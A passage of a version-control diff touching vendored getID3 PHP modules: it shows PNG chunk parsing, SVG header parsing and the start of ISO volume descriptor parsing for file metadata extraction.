$thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 4)) / 100000; + $thisfile_png_chunk_type_text['blue_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 24, 4)) / 100000; + $thisfile_png_chunk_type_text['blue_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 28, 4)) / 100000; + break; + + + case 'sRGB': // Standard RGB Color Space + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['reindering_intent'] = getid3_lib::BigEndian2Int($chunk['data']); + $thisfile_png_chunk_type_text['reindering_intent_text'] = $this->PNGsRGBintentLookup($thisfile_png_chunk_type_text['reindering_intent']); + break; + + + case 'iCCP': // Embedded ICC Profile + $thisfile_png_chunk_type_text['header'] = $chunk; + list($profilename, $compressiondata) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['profile_name'] = $profilename; + $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($compressiondata, 0, 1)); + $thisfile_png_chunk_type_text['compression_profile'] = substr($compressiondata, 1); + + $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); + break; + + + case 'tEXt': // Textual Data + $thisfile_png_chunk_type_text['header'] = $chunk; + list($keyword, $text) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['keyword'] = $keyword; + $thisfile_png_chunk_type_text['text'] = $text; + + $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; + break; + + + case 'zTXt': // Compressed Textual Data + $thisfile_png_chunk_type_text['header'] = $chunk; + list($keyword, $otherdata) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['keyword'] = $keyword; + $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($otherdata, 0, 1)); + $thisfile_png_chunk_type_text['compressed_text'] = substr($otherdata, 1); + $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); + switch ($thisfile_png_chunk_type_text['compression_method']) { + case 0: + $thisfile_png_chunk_type_text['text'] = gzuncompress($thisfile_png_chunk_type_text['compressed_text']); + break; + + default: + // unknown compression method + break; + } + + if (isset($thisfile_png_chunk_type_text['text'])) { + $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; + } + break; + + + case 'iTXt': // International Textual Data + $thisfile_png_chunk_type_text['header'] = $chunk; + list($keyword, $otherdata) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['keyword'] = $keyword; + $thisfile_png_chunk_type_text['compression'] = (bool) getid3_lib::BigEndian2Int(substr($otherdata, 0, 1)); + $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($otherdata, 1, 1)); + $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); + list($languagetag, $translatedkeyword, $text) = explode("\x00", substr($otherdata, 2), 3); + $thisfile_png_chunk_type_text['language_tag'] = $languagetag; + $thisfile_png_chunk_type_text['translated_keyword'] = $translatedkeyword; + + if ($thisfile_png_chunk_type_text['compression']) { + + switch ($thisfile_png_chunk_type_text['compression_method']) { + case 0: + $thisfile_png_chunk_type_text['text'] = gzuncompress($text); + break; + + default: + // unknown compression method + break; + } + + } else { + + $thisfile_png_chunk_type_text['text'] = $text; + + } + + if (isset($thisfile_png_chunk_type_text['text'])) { + $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; + } + break; + + + case 'bKGD': // Background Color + $thisfile_png_chunk_type_text['header'] = $chunk; + switch ($thisfile_png['IHDR']['raw']['color_type']) { + case 0: + case 4: + $thisfile_png_chunk_type_text['background_gray'] = getid3_lib::BigEndian2Int($chunk['data']); + break; + + case 2: + case 6: + $thisfile_png_chunk_type_text['background_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); + $thisfile_png_chunk_type_text['background_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); + $thisfile_png_chunk_type_text['background_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); + break; + + case 3: + $thisfile_png_chunk_type_text['background_index'] = getid3_lib::BigEndian2Int($chunk['data']); + break; + + default: + break; + } + break; + + + case 'pHYs': // Physical Pixel Dimensions + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['pixels_per_unit_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); + $thisfile_png_chunk_type_text['pixels_per_unit_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); + $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); + $thisfile_png_chunk_type_text['unit'] = $this->PNGpHYsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); + break; + + + case 'sBIT': // Significant Bits + $thisfile_png_chunk_type_text['header'] = $chunk; + switch ($thisfile_png['IHDR']['raw']['color_type']) { + case 0: + $thisfile_png_chunk_type_text['significant_bits_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + break; + + case 2: + case 3: + $thisfile_png_chunk_type_text['significant_bits_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + $thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); + $thisfile_png_chunk_type_text['significant_bits_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); + break; + + case 4: + $thisfile_png_chunk_type_text['significant_bits_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + $thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); + break; + + case 6: + $thisfile_png_chunk_type_text['significant_bits_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + $thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); + $thisfile_png_chunk_type_text['significant_bits_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); + $thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1)); + break; + + default: + break; + } + break; + + + case 'sPLT': // Suggested Palette + $thisfile_png_chunk_type_text['header'] = $chunk; + list($palettename, $otherdata) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['palette_name'] = $palettename; + $sPLToffset = 0; + $thisfile_png_chunk_type_text['sample_depth_bits'] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 1)); + $sPLToffset += 1; + $thisfile_png_chunk_type_text['sample_depth_bytes'] = $thisfile_png_chunk_type_text['sample_depth_bits'] / 8; + $paletteCounter = 0; + while ($sPLToffset < strlen($otherdata)) { + $thisfile_png_chunk_type_text['red'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); + $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; + $thisfile_png_chunk_type_text['green'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); + $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; + $thisfile_png_chunk_type_text['blue'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); + $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; + $thisfile_png_chunk_type_text['alpha'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); + $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; + $thisfile_png_chunk_type_text['frequency'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 2)); + $sPLToffset += 2; + $paletteCounter++; + } + break; + + + case 'hIST': // Palette Histogram + $thisfile_png_chunk_type_text['header'] = $chunk; + $hISTcounter = 0; + while ($hISTcounter < strlen($chunk['data'])) { + $thisfile_png_chunk_type_text[$hISTcounter] = getid3_lib::BigEndian2Int(substr($chunk['data'], $hISTcounter / 2, 2)); + $hISTcounter += 2; + } + break; + + + case 'tIME': // Image Last-Modification Time + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['year'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); + $thisfile_png_chunk_type_text['month'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); + $thisfile_png_chunk_type_text['day'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1)); + $thisfile_png_chunk_type_text['hour'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 1)); + $thisfile_png_chunk_type_text['minute'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 5, 1)); + $thisfile_png_chunk_type_text['second'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 6, 1)); + $thisfile_png_chunk_type_text['unix'] = gmmktime($thisfile_png_chunk_type_text['hour'], $thisfile_png_chunk_type_text['minute'], $thisfile_png_chunk_type_text['second'], $thisfile_png_chunk_type_text['month'], $thisfile_png_chunk_type_text['day'], $thisfile_png_chunk_type_text['year']); + break; + + + case 'oFFs': // Image Offset + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['position_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4), false, true); + $thisfile_png_chunk_type_text['position_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4), false, true); + $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); + $thisfile_png_chunk_type_text['unit'] = $this->PNGoFFsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); + break; + + + case 'pCAL': // Calibration Of Pixel Values + $thisfile_png_chunk_type_text['header'] = $chunk; + list($calibrationname, $otherdata) = explode("\x00", $chunk['data'], 2); + $thisfile_png_chunk_type_text['calibration_name'] = $calibrationname; + $pCALoffset = 0; + $thisfile_png_chunk_type_text['original_zero'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true); + $pCALoffset += 4; + $thisfile_png_chunk_type_text['original_max'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true); + $pCALoffset += 4; + $thisfile_png_chunk_type_text['equation_type'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1)); + $pCALoffset += 1; + $thisfile_png_chunk_type_text['equation_type_text'] = $this->PNGpCALequationTypeLookup($thisfile_png_chunk_type_text['equation_type']); + $thisfile_png_chunk_type_text['parameter_count'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1)); + $pCALoffset += 1; + $thisfile_png_chunk_type_text['parameters'] = explode("\x00", substr($chunk['data'], $pCALoffset)); + break; + + + case 'sCAL': // Physical Scale Of Image Subject + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + $thisfile_png_chunk_type_text['unit'] = $this->PNGsCALUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); + list($pixelwidth, $pixelheight) = explode("\x00", substr($chunk['data'], 1)); + $thisfile_png_chunk_type_text['pixel_width'] = $pixelwidth; + $thisfile_png_chunk_type_text['pixel_height'] = $pixelheight; + break; + + + case 'gIFg': // GIF Graphic Control Extension + $gIFgCounter = 0; + if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) { + $gIFgCounter = count($thisfile_png_chunk_type_text); + } + $thisfile_png_chunk_type_text[$gIFgCounter]['header'] = $chunk; + $thisfile_png_chunk_type_text[$gIFgCounter]['disposal_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); + $thisfile_png_chunk_type_text[$gIFgCounter]['user_input_flag'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); + $thisfile_png_chunk_type_text[$gIFgCounter]['delay_time'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2)); + break; + + + case 'gIFx': // GIF Application Extension + $gIFxCounter = 0; + if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) { + $gIFxCounter = count($thisfile_png_chunk_type_text); + } + $thisfile_png_chunk_type_text[$gIFxCounter]['header'] = $chunk; + $thisfile_png_chunk_type_text[$gIFxCounter]['application_identifier'] = substr($chunk['data'], 0, 8); + $thisfile_png_chunk_type_text[$gIFxCounter]['authentication_code'] = substr($chunk['data'], 8, 3); + $thisfile_png_chunk_type_text[$gIFxCounter]['application_data'] = substr($chunk['data'], 11); + break; + + + case 'IDAT': // Image Data + $idatinformationfieldindex = 0; + if (isset($thisfile_png['IDAT']) && is_array($thisfile_png['IDAT'])) { + $idatinformationfieldindex = count($thisfile_png['IDAT']); + } + unset($chunk['data']); + $thisfile_png_chunk_type_text[$idatinformationfieldindex]['header'] = $chunk; + break; + + case 'IEND': // Image Trailer + $thisfile_png_chunk_type_text['header'] = $chunk; + break; + + case 'acTL': // Animation Control chunk + // https://wiki.mozilla.org/APNG_Specification#.60acTL.60:_The_Animation_Control_Chunk + $thisfile_png['animation']['num_frames'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); // Number of frames + $thisfile_png['animation']['num_plays'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); // Number of times to loop this APNG. 0 indicates infinite looping. + + unset($chunk['data']); + $thisfile_png_chunk_type_text['header'] = $chunk; + break; + + case 'fcTL': // Frame Control chunk + // https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk + $fcTL = array(); + $fcTL['sequence_number'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); // Sequence number of the animation chunk, starting from 0 + $fcTL['width'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); // Width of the following frame + $fcTL['height'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 4)); // Height of the following frame + $fcTL['x_offset'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)); // X position at which to render the following frame + $fcTL['y_offset'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)); // Y position at which to render the following frame + $fcTL['delay_num'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 2)); // Frame delay fraction numerator + $fcTL['delay_den'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 22, 2)); // Frame delay fraction numerator + $fcTL['dispose_op'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area disposal to be done after rendering this frame + $fcTL['blend_op'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area rendering for this frame + if ($fcTL['delay_den']) { + $fcTL['delay'] = $fcTL['delay_num'] / $fcTL['delay_den']; + } + $thisfile_png['animation']['fcTL'][$fcTL['sequence_number']] = $fcTL; + + unset($chunk['data']); + $thisfile_png_chunk_type_text['header'] = $chunk; + break; + + case 'fdAT': // Frame Data chunk + // https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk + // "The `fdAT` chunk has the same purpose as an `IDAT` chunk. It has the same structure as an `IDAT` chunk, except preceded by a sequence number." + unset($chunk['data']); + $thisfile_png_chunk_type_text['header'] = $chunk; + break; + + default: + //unset($chunk['data']); + $thisfile_png_chunk_type_text['header'] = $chunk; + $this->warning('Unhandled chunk type: '.$chunk['type_text']); + break; + } + } + if (!empty($thisfile_png['animation']['num_frames']) && !empty($thisfile_png['animation']['fcTL'])) { + $info['video']['dataformat'] = 'apng'; + $info['playtime_seconds'] = 0; + foreach ($thisfile_png['animation']['fcTL'] as $seqno => $fcTL) { + $info['playtime_seconds'] += $fcTL['delay']; + } + } + return true; + } + + /** + * @param int $sRGB + * + * @return string + */ + public function PNGsRGBintentLookup($sRGB) { + static $PNGsRGBintentLookup = array( + 0 => 'Perceptual', + 1 => 'Relative colorimetric', + 2 => 'Saturation', + 3 => 'Absolute colorimetric' + ); + return (isset($PNGsRGBintentLookup[$sRGB]) ? $PNGsRGBintentLookup[$sRGB] : 'invalid'); + } + + /** + * @param int $compressionmethod + * + * @return string + */ + public function PNGcompressionMethodLookup($compressionmethod) { + static $PNGcompressionMethodLookup = array( + 0 => 'deflate/inflate' + ); + return (isset($PNGcompressionMethodLookup[$compressionmethod]) ? $PNGcompressionMethodLookup[$compressionmethod] : 'invalid'); + } + + /** + * @param int $unitid + * + * @return string + */ + public function PNGpHYsUnitLookup($unitid) { + static $PNGpHYsUnitLookup = array( + 0 => 'unknown', + 1 => 'meter' + ); + return (isset($PNGpHYsUnitLookup[$unitid]) ? $PNGpHYsUnitLookup[$unitid] : 'invalid'); + } + + /** + * @param int $unitid + * + * @return string + */ + public function PNGoFFsUnitLookup($unitid) { + static $PNGoFFsUnitLookup = array( + 0 => 'pixel', + 1 => 'micrometer' + ); + return (isset($PNGoFFsUnitLookup[$unitid]) ? $PNGoFFsUnitLookup[$unitid] : 'invalid'); + } + + /** + * @param int $equationtype + * + * @return string + */ + public function PNGpCALequationTypeLookup($equationtype) { + static $PNGpCALequationTypeLookup = array( + 0 => 'Linear mapping', + 1 => 'Base-e exponential mapping', + 2 => 'Arbitrary-base exponential mapping', + 3 => 'Hyperbolic mapping' + ); + return (isset($PNGpCALequationTypeLookup[$equationtype]) ? $PNGpCALequationTypeLookup[$equationtype] : 'invalid'); + } + + /** + * @param int $unitid + * + * @return string + */ + public function PNGsCALUnitLookup($unitid) { + static $PNGsCALUnitLookup = array( + 0 => 'meter', + 1 => 'radian' + ); + return (isset($PNGsCALUnitLookup[$unitid]) ? $PNGsCALUnitLookup[$unitid] : 'invalid'); + } + + /** + * @param int $color_type + * @param int $bit_depth + * + * @return int|false + */ + public function IHDRcalculateBitsPerSample($color_type, $bit_depth) { + switch ($color_type) { + case 0: // Each pixel is a grayscale sample. + return $bit_depth; + + case 2: // Each pixel is an R,G,B triple + return 3 * $bit_depth; + + case 3: // Each pixel is a palette index; a PLTE chunk must appear. + return $bit_depth; + + case 4: // Each pixel is a grayscale sample, followed by an alpha sample. + return 2 * $bit_depth; + + case 6: // Each pixel is an R,G,B triple, followed by an alpha sample. + return 4 * $bit_depth; + } + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.svg.php b/vendor/james-heinrich/getid3/getid3/module.graphic.svg.php index 6162e91d97..8bb577b9c4 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.svg.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.svg.php @@ -1,106 +1,106 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.svg.php // -// module for analyzing SVG Image files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_svg extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - - $SVGheader = $this->fread(4096); - if (preg_match('#\<\?xml([^\>]+)\?\>#i', $SVGheader, $matches)) { - $info['svg']['xml']['raw'] = $matches; - } - if (preg_match('#\<\!DOCTYPE([^\>]+)\>#i', $SVGheader, $matches)) { - $info['svg']['doctype']['raw'] = $matches; - } - if (preg_match('#\]+)\>#i', $SVGheader, $matches)) { - $info['svg']['svg']['raw'] = $matches; - } - if (isset($info['svg']['svg']['raw'])) { - - $sections_to_fix = array('xml', 'doctype', 'svg'); - foreach ($sections_to_fix as $section_to_fix) { - if (!isset($info['svg'][$section_to_fix])) { - continue; - } - $section_data = array(); - while (preg_match('/ "([^"]+)"/', $info['svg'][$section_to_fix]['raw'][1], $matches)) { - $section_data[] = $matches[1]; - $info['svg'][$section_to_fix]['raw'][1] = str_replace($matches[0], '', $info['svg'][$section_to_fix]['raw'][1]); - } - while (preg_match('/([^\s]+)="([^"]+)"/', $info['svg'][$section_to_fix]['raw'][1], $matches)) { - $section_data[] = $matches[0]; - $info['svg'][$section_to_fix]['raw'][1] = str_replace($matches[0], '', $info['svg'][$section_to_fix]['raw'][1]); - } - $section_data = array_merge($section_data, preg_split('/[\s,]+/', $info['svg'][$section_to_fix]['raw'][1])); - foreach ($section_data as $keyvaluepair) { - $keyvaluepair = trim($keyvaluepair); - if ($keyvaluepair) { - $keyvalueexploded = explode('=', $keyvaluepair); - $key = (isset($keyvalueexploded[0]) ? $keyvalueexploded[0] : ''); - $value = (isset($keyvalueexploded[1]) ? $keyvalueexploded[1] : ''); - $info['svg'][$section_to_fix]['sections'][$key] = trim($value, '"'); - } - } - } - - $info['fileformat'] = 'svg'; - $info['video']['dataformat'] = 'svg'; - $info['video']['lossless'] = true; - //$info['video']['bits_per_sample'] = 24; - $info['video']['pixel_aspect_ratio'] = (float) 1; - - if (!empty($info['svg']['svg']['sections']['width'])) { - $info['svg']['width'] = intval($info['svg']['svg']['sections']['width']); - } - if (!empty($info['svg']['svg']['sections']['height'])) { - $info['svg']['height'] = intval($info['svg']['svg']['sections']['height']); - } - if (!empty($info['svg']['svg']['sections']['version'])) { - $info['svg']['version'] = $info['svg']['svg']['sections']['version']; - } - if (!isset($info['svg']['version']) && isset($info['svg']['doctype']['sections'])) { - foreach ($info['svg']['doctype']['sections'] as $key => $value) { - if (preg_match('#//W3C//DTD SVG ([0-9\.]+)//#i', $key, $matches)) { - $info['svg']['version'] = $matches[1]; - break; - } - } - } - - if (!empty($info['svg']['width'])) { - $info['video']['resolution_x'] = $info['svg']['width']; - } - if (!empty($info['svg']['height'])) { - $info['video']['resolution_y'] = $info['svg']['height']; - } - - return true; - } - $this->error('Did not find expected tag'); - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.svg.php // +// module for analyzing SVG Image files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_svg extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + + $SVGheader = $this->fread(4096); + if (preg_match('#\<\?xml([^\>]+)\?\>#i', $SVGheader, $matches)) { + $info['svg']['xml']['raw'] = $matches; + } + if (preg_match('#\<\!DOCTYPE([^\>]+)\>#i', $SVGheader, $matches)) { + $info['svg']['doctype']['raw'] = $matches; + } + if (preg_match('#\]+)\>#i', $SVGheader, $matches)) { + $info['svg']['svg']['raw'] = $matches; + } + if (isset($info['svg']['svg']['raw'])) { + + $sections_to_fix = array('xml', 'doctype', 'svg'); + foreach ($sections_to_fix as $section_to_fix) { + if (!isset($info['svg'][$section_to_fix])) { + continue; + } + $section_data = array(); + while (preg_match('/ "([^"]+)"/', $info['svg'][$section_to_fix]['raw'][1], $matches)) { + $section_data[] = $matches[1]; + $info['svg'][$section_to_fix]['raw'][1] = str_replace($matches[0], '', $info['svg'][$section_to_fix]['raw'][1]); + } + while (preg_match('/([^\s]+)="([^"]+)"/', $info['svg'][$section_to_fix]['raw'][1], $matches)) { + $section_data[] = $matches[0]; + $info['svg'][$section_to_fix]['raw'][1] = str_replace($matches[0], '', $info['svg'][$section_to_fix]['raw'][1]); + } + $section_data = array_merge($section_data, preg_split('/[\s,]+/', $info['svg'][$section_to_fix]['raw'][1])); + foreach ($section_data as $keyvaluepair) { + $keyvaluepair = trim($keyvaluepair); + if ($keyvaluepair) { + $keyvalueexploded = explode('=', $keyvaluepair); + $key = (isset($keyvalueexploded[0]) ? $keyvalueexploded[0] : ''); + $value = (isset($keyvalueexploded[1]) ? $keyvalueexploded[1] : ''); + $info['svg'][$section_to_fix]['sections'][$key] = trim($value, '"'); + } + } + } + + $info['fileformat'] = 'svg'; + $info['video']['dataformat'] = 'svg'; + $info['video']['lossless'] = true; + //$info['video']['bits_per_sample'] = 24; + $info['video']['pixel_aspect_ratio'] = (float) 1; + + if (!empty($info['svg']['svg']['sections']['width'])) { + $info['svg']['width'] = intval($info['svg']['svg']['sections']['width']); + } + if (!empty($info['svg']['svg']['sections']['height'])) { + $info['svg']['height'] = intval($info['svg']['svg']['sections']['height']); + } + if (!empty($info['svg']['svg']['sections']['version'])) { + $info['svg']['version'] = $info['svg']['svg']['sections']['version']; + } + if (!isset($info['svg']['version']) && isset($info['svg']['doctype']['sections'])) { + foreach ($info['svg']['doctype']['sections'] as $key => $value) { + if (preg_match('#//W3C//DTD SVG ([0-9\.]+)//#i', $key, $matches)) { + $info['svg']['version'] = $matches[1]; + break; + } + } + } + + if (!empty($info['svg']['width'])) { + $info['video']['resolution_x'] = $info['svg']['width']; + } + if (!empty($info['svg']['height'])) { + $info['video']['resolution_y'] = $info['svg']['height']; + } + + return true; + } + $this->error('Did not find expected tag'); + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.misc.iso.php b/vendor/james-heinrich/getid3/getid3/module.misc.iso.php index bd76da0c94..939bd631e1 100644 --- a/vendor/james-heinrich/getid3/getid3/module.misc.iso.php +++ b/vendor/james-heinrich/getid3/getid3/module.misc.iso.php @@ -1,433 +1,433 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.misc.iso.php // -// module for analyzing ISO files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_iso extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'iso'; - - for ($i = 16; $i <= 19; $i++) { - $this->fseek(2048 * $i); - $ISOheader = $this->fread(2048); - if (substr($ISOheader, 1, 5) == 'CD001') { - switch (ord($ISOheader[0])) { - case 1: - $info['iso']['primary_volume_descriptor']['offset'] = 2048 * $i; - $this->ParsePrimaryVolumeDescriptor($ISOheader); - break; - - case 2: - $info['iso']['supplementary_volume_descriptor']['offset'] = 2048 * $i; - $this->ParseSupplementaryVolumeDescriptor($ISOheader); - break; - - default: - // skip - break; - } - } - } - - $this->ParsePathTable(); - - $info['iso']['files'] = array(); - if (!empty($info['iso']['path_table']['directories'])) { - foreach ($info['iso']['path_table']['directories'] as $directorynum => $directorydata) { - $info['iso']['directories'][$directorynum] = $this->ParseDirectoryRecord($directorydata); - } - } - - return true; - } - - /** - * @param string $ISOheader - * - * @return bool - */ - public function ParsePrimaryVolumeDescriptor(&$ISOheader) { - // ISO integer values are stored *BOTH* Little-Endian AND Big-Endian format!! - // ie 12345 == 0x3039 is stored as $39 $30 $30 $39 in a 4-byte field - - // shortcuts - $info = &$this->getid3->info; - $info['iso']['primary_volume_descriptor']['raw'] = array(); - $thisfile_iso_primaryVD = &$info['iso']['primary_volume_descriptor']; - $thisfile_iso_primaryVD_raw = &$thisfile_iso_primaryVD['raw']; - - $thisfile_iso_primaryVD_raw['volume_descriptor_type'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 0, 1)); - $thisfile_iso_primaryVD_raw['standard_identifier'] = substr($ISOheader, 1, 5); - if ($thisfile_iso_primaryVD_raw['standard_identifier'] != 'CD001') { - $this->error('Expected "CD001" at offset ('.($thisfile_iso_primaryVD['offset'] + 1).'), found "'.$thisfile_iso_primaryVD_raw['standard_identifier'].'" instead'); - unset($info['fileformat']); - unset($info['iso']); - return false; - } - - - $thisfile_iso_primaryVD_raw['volume_descriptor_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 6, 1)); - //$thisfile_iso_primaryVD_raw['unused_1'] = substr($ISOheader, 7, 1); - $thisfile_iso_primaryVD_raw['system_identifier'] = substr($ISOheader, 8, 32); - $thisfile_iso_primaryVD_raw['volume_identifier'] = substr($ISOheader, 40, 32); - //$thisfile_iso_primaryVD_raw['unused_2'] = substr($ISOheader, 72, 8); - $thisfile_iso_primaryVD_raw['volume_space_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 80, 4)); - //$thisfile_iso_primaryVD_raw['unused_3'] = substr($ISOheader, 88, 32); - $thisfile_iso_primaryVD_raw['volume_set_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 120, 2)); - $thisfile_iso_primaryVD_raw['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 124, 2)); - $thisfile_iso_primaryVD_raw['logical_block_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 128, 2)); - $thisfile_iso_primaryVD_raw['path_table_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 132, 4)); - $thisfile_iso_primaryVD_raw['path_table_l_location'] = 